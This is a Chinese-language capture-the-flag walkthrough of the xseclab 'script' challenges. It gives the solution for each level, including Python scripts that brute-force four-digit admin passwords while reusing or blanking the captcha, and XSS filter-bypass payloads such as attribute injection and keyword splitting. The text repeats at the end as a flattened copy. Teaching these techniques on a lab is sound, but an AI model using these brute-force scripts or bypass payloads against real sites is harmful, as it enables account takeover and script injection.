网络安全实验室3.脚本关
字数 3104 2025-08-24 16:48:16

网络安全实验室脚本关教学文档

1. Key查找

目标URL: http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php

解决方法:

  1. 使用Burp Suite抓包
  2. 将请求发送到重放模块(Repeater)
  3. 点击"Go"按钮执行请求
  4. 在响应中查找key

关键点:

  • 直接访问页面可能看不到key
  • 需要通过抓包工具查看完整响应

获取的key: yougotit_script_now

2. 快速口算

目标URL: http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php

解决方法:
使用Python脚本自动计算并提交结果:

import requests, re

url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s = requests.session()
c = s.get(url).content
c = c.decode('utf-8')  # python3一定要加上这一句
r = re.findall(r'[\d]{2,}', c)
r = int(r[0]) * int(r[1]) + int(r[2]) * (int(r[3]) + int(r[4]))
c1 = s.post(url, data={'v': r}).content
print(c1.decode('utf-8'))

关键点:

  • 使用正则表达式提取页面中的数字
  • 按照特定公式计算(第一个数×第二个数 + 第三个数×(第四个数+第五个数))
  • 自动提交计算结果

获取的key: 123iohHKHJ%^&*(jkh

3. 空题目

解决方法:

  • 尝试输入null作为答案

4. 弹窗Key获取

目标URL: http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php

解决方法:

  1. 审查页面元素发现大量混淆的JavaScript代码
  2. 提取关键函数并修改,删除干扰函数
  3. 创建本地HTML文件执行修改后的代码

关键代码:

<script>
var a = function() {
    var b = function(p,a,c,k,e,r) {
        // 此处为解混淆后的代码
        // ...
    }('混淆的代码字符串',62,98,'|return|function|String|if|replace|while|fromCharCode|29|new|RegExp|toString|36|parseInt|35|split|eval|62|75|53|var|slakfj|teslkjsdflk|for'.split('|'),0,{});
    var d = eval(b);
    alert('key is first 14 chars' + '\n' + d.substr(0,14));
}()
</script>

关键点:

  • 需要分析并解混淆JavaScript代码
  • 提取关键函数执行
  • key只取前14个字符

获取的key: slakfjteslkjsd

5. 逗比验证码第一期

目标URL: http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php

解决方法:

  1. 观察发现验证码可以重复使用
  2. 使用Python脚本暴力破解4位数密码(1000-9999)

Python脚本:

import requests
import re

s = requests.Session()
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head = {'cookie': 'PHPSESSID=21949ea3cea7b84b9bf57f8d4b449a63'}

for num in range(1000, 10000):
    data = {'username': 'admin', 'pwd': num, 'vcode': '99QZ', 'submit': 'submit'}
    res = s.post(url, data=data, headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试', num, '-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    if u'error' not in res:
        print(num, '-------正确')
        print(res)
        break

替代方法:

  • 使用Burp Suite进行爆破

关键点:

  • 需要保持会话(cookie)
  • 验证码可以重复使用
  • 密码为4位数字

获取的key: LJLJL789sdf#@sd (密码为1238)

6. 逗比验证码第二期

目标URL: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php

解决方法:

  1. 发现可以将验证码参数设置为空
  2. 使用Python脚本暴力破解4位数密码

Python脚本:

import requests
import re

s = requests.Session()
url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
head = {'cookie': 'PHPSESSID=844e5142519e671ce9180b9a47588675'}

for num in range(1000, 10000):
    data = {'username': 'admin', 'pwd': num, 'vcode': '', 'submit': 'submit'}
    res = s.post(url, data=data, headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试', num, '-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    if u'error' not in res:
        print(num, '-------正确')
        print(res)
        break

关键点:

  • 验证码参数可留空绕过
  • 密码为4位数字

获取的key: LJLJL789ss33fasvxcvsdf#@sd (密码为1228)

7. 逗比验证码第三期(SESSION)

目标URL: http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php

解决方法:

  1. 需要保持会话
  2. 使用Python脚本暴力破解4位数密码

Python脚本:

import requests

s = requests.Session()
url = "http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"
head = {'session': 'PHPSESSID=d369965b1284d87405231a4a5763cddc'}

for num in range(1000, 10000):
    data = {'username': 'admin', 'pwd': num, 'vcode': '', 'submit': 'submit'}
    res = s.post(url, data=data, headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试', num, '------密码错误!')
    if u'vcode error' in res:
        print('验证码错误!')
        break
    if u'error' not in res:
        print(num, '----密码破解成功!')
        print(res)
        break

关键点:

  • 必须保持会话一致性
  • 验证码可留空绕过
  • 密码为4位数字

获取的key: LJLJLfuckvcodesdf#@sd (密码为1298)

8. 微笑过关

目标URL: http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php

解决方法:

  1. 分析源代码发现需要满足多个条件
  2. 构造特殊payload绕过过滤

Payload构造:

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^%5f^=data:,('◡◡')

关键点:

  • 需要对"^_^"参数赋值但参数名不能包含下划线(使用URL编码%5f)
  • 使用data协议绕过文件存在检查
  • 值必须为"('◡◡')"

获取的key: hkjasfhsa*&IUHKUH

9. 逗比手机验证码

目标URL: http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/

解决方法:

  1. 首次获取验证码并记下(如5141)
  2. 返回重新获取验证码
  3. 使用新手机号和新验证码登录

关键点:

  • 验证码与手机号绑定
  • 需要获取两次验证码

获取的key: LJLJLGod!@@sd

10. 基情燃烧的岁月

目标URL: http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/

解决方法:

  1. 使用Burp Suite爆破3位数密码(首位不为0)
  2. 获取前任手机号:13399999999
  3. 用该手机号再次爆破获取flag

关键点:

  • 密码为3位数(100-999)
  • 需要分两步操作

获取的flag: {LKK8*(!@@sd}

11. 验证码识别

目标URL: http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php

解决方法:

  1. 使用PKAV HTTP Fuzzer工具
  2. Burp抓包并复制到PKAV
  3. 设置验证码识别和重放选项
  4. 按响应长度排序结果

关键点:

  • 需要自动化工具处理验证码
  • 按响应长度差异识别正确结果

获取的flag: {133dbc85dda4aa**)}

12. XSS基础关

目标URL: http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php

解决方法:

  1. 查看源代码中的xss_check.php
  2. 构造简单XSS payload

Payload:

<script>alert(HackingLab)</script>

关键点:

  • 无过滤的基本XSS注入

获取的key: myxssteststart!

13. XSS基础2:简单绕过

目标URL: http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php

解决方法:

  1. 使用img标签的onerror事件绕过

Payload:


关键点:

  • 使用替代标签和事件处理器绕过基本过滤

获取的key: xss2test2you

14. XSS基础3:检测与构造

目标URL: http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php

解决方法:

  1. 利用输入处理逻辑缺陷
  2. 构造特殊payload

Payload:

alert' onmouseover=alert(HackingLab)>

关键点:

  • 利用敏感字符串检测逻辑缺陷
  • 使用onmouseover事件触发

获取的key: xss3test2youOK_striptag

15. Principle很重要的XSS

目标URL: http://lab1.xseclab.com/realxss4_9bc1559999a87a9e0968ad1d546dfe33/index.php

解决方法:

  1. 分析过滤机制
  2. 使用字符插入绕过关键词检测

Payload:

javasc<c>ript:al<c>ert(HackingLab)

' onmouseover=al<c>ert(HackingLab)>

关键点:

  • 使用标签分割关键词绕过过滤
  • 利用空格处理特性
  • 需要多种绕过尝试

获取的key: xss4isnoteasy

网络安全实验室脚本关教学文档 1. Key查找 目标URL : http://lab1.xseclab.com/xss1_ 30ac8668cd453e7e387c76b132b140bb/index.php 解决方法 : 使用Burp Suite抓包 将请求发送到重放模块(Repeater) 点击"Go"按钮执行请求 在响应中查找key 关键点 : 直接访问页面可能看不到key 需要通过抓包工具查看完整响应 获取的key : yougotit_script_now 2. 快速口算 目标URL : http://lab1.xseclab.com/xss2_ 0d557e6d2a4ac08b749b61473a075be1/index.php 解决方法 : 使用Python脚本自动计算并提交结果: 关键点 : 使用正则表达式提取页面中的数字 按照特定公式计算(第一个数×第二个数 + 第三个数×(第四个数+第五个数)) 自动提交计算结果 获取的key : 123iohHKHJ%^&*(jkh 3. 空题目 解决方法 : 尝试输入 null 作为答案 4. 弹窗Key获取 目标URL : http://lab1.xseclab.com/xss3_ 5dcdde90bbe55087eb3514405972b1a6/index.php 解决方法 : 审查页面元素发现大量混淆的JavaScript代码 提取关键函数并修改,删除干扰函数 创建本地HTML文件执行修改后的代码 关键代码 : 关键点 : 需要分析并解混淆JavaScript代码 提取关键函数执行 key只取前14个字符 获取的key : slakfjteslkjsd 5. 逗比验证码第一期 目标URL : http://lab1.xseclab.com/vcode1_ bcfef7eacf7badc64aaf18844cdb1c46/index.php 解决方法 : 观察发现验证码可以重复使用 使用Python脚本暴力破解4位数密码(1000-9999) Python脚本 : 替代方法 : 使用Burp Suite进行爆破 关键点 : 需要保持会话(cookie) 验证码可以重复使用 密码为4位数字 获取的key : LJLJL789sdf#@sd (密码为1238) 6. 逗比验证码第二期 目标URL : http://lab1.xseclab.com/vcode2_ a6e6bac0b47c8187b09deb20babc0e85/index.php 解决方法 : 发现可以将验证码参数设置为空 使用Python脚本暴力破解4位数密码 Python脚本 : 关键点 : 验证码参数可留空绕过 密码为4位数字 获取的key : LJLJL789ss33fasvxcvsdf#@sd (密码为1228) 7. 逗比验证码第三期(SESSION) 目标URL : http://lab1.xseclab.com/vcode3_ 9d1ea7ad52ad93c04a837e0808b17097/index.php 解决方法 : 需要保持会话 使用Python脚本暴力破解4位数密码 Python脚本 : 关键点 : 必须保持会话一致性 验证码可留空绕过 密码为4位数字 获取的key : LJLJLfuckvcodesdf#@sd (密码为1298) 8. 微笑过关 目标URL : http://lab1.xseclab.com/base13_ ead1b12e47ec7cc5390303831b779d47/index.php 解决方法 : 分析源代码发现需要满足多个条件 构造特殊payload绕过过滤 Payload构造 : 关键点 : 需要对"^_ ^"参数赋值但参数名不能包含下划线(使用URL编码%5f) 使用data协议绕过文件存在检查 值必须为"('◡◡')" 获取的key : hkjasfhsa*&IUHKUH 9. 逗比手机验证码 目标URL : http://lab1.xseclab.com/vcode5_ mobi_ 5773f3def9f77f439e058894cefc42a8/ 解决方法 : 首次获取验证码并记下(如5141) 返回重新获取验证码 使用新手机号和新验证码登录 关键点 : 验证码与手机号绑定 需要获取两次验证码 获取的key : LJLJLGod!@@sd 10. 基情燃烧的岁月 目标URL : http://lab1.xseclab.com/vcode6_ mobi_ b46772933eb4c8b5175c67dbc44d8901/ 解决方法 : 使用Burp Suite爆破3位数密码(首位不为0) 获取前任手机号:13399999999 用该手机号再次爆破获取flag 关键点 : 密码为3位数(100-999) 需要分两步操作 获取的flag : {LKK8*(!@@sd} 11. 验证码识别 目标URL : http://lab1.xseclab.com/vcode7_ f7947d56f22133dbc85dda4f28530268/index.php 解决方法 : 使用PKAV HTTP Fuzzer工具 Burp抓包并复制到PKAV 设置验证码识别和重放选项 按响应长度排序结果 关键点 : 需要自动化工具处理验证码 按响应长度差异识别正确结果 获取的flag : {133dbc85dda4aa**)} 12. XSS基础关 目标URL : http://lab1.xseclab.com/realxss1_ f123c17dd9c363334670101779193998/index.php 解决方法 : 查看源代码中的xss_ check.php 构造简单XSS payload Payload : 关键点 : 无过滤的基本XSS注入 获取的key : myxssteststart! 13. XSS基础2:简单绕过 目标URL : http://lab1.xseclab.com/realxss2_ bcedaba7e8618cdfb51178765060fc7d/index.php 解决方法 : 使用img标签的onerror事件绕过 Payload : 关键点 : 使用替代标签和事件处理器绕过基本过滤 获取的key : xss2test2you 14. XSS基础3:检测与构造 目标URL : http://lab1.xseclab.com/realxss3_ 9b28b0ff93d0b0099f5ac7f8bad3f368/index.php 解决方法 : 利用输入处理逻辑缺陷 构造特殊payload Payload : 关键点 : 利用敏感字符串检测逻辑缺陷 使用onmouseover事件触发 获取的key : xss3test2youOK_striptag 15. Principle很重要的XSS 目标URL : http://lab1.xseclab.com/realxss4_ 9bc1559999a87a9e0968ad1d546dfe33/index.php 解决方法 : 分析过滤机制 使用字符插入绕过关键词检测 Payload : 或 关键点 : 使用 标签分割关键词绕过过滤 利用空格处理特性 需要多种绕过尝试 获取的key : xss4isnoteasy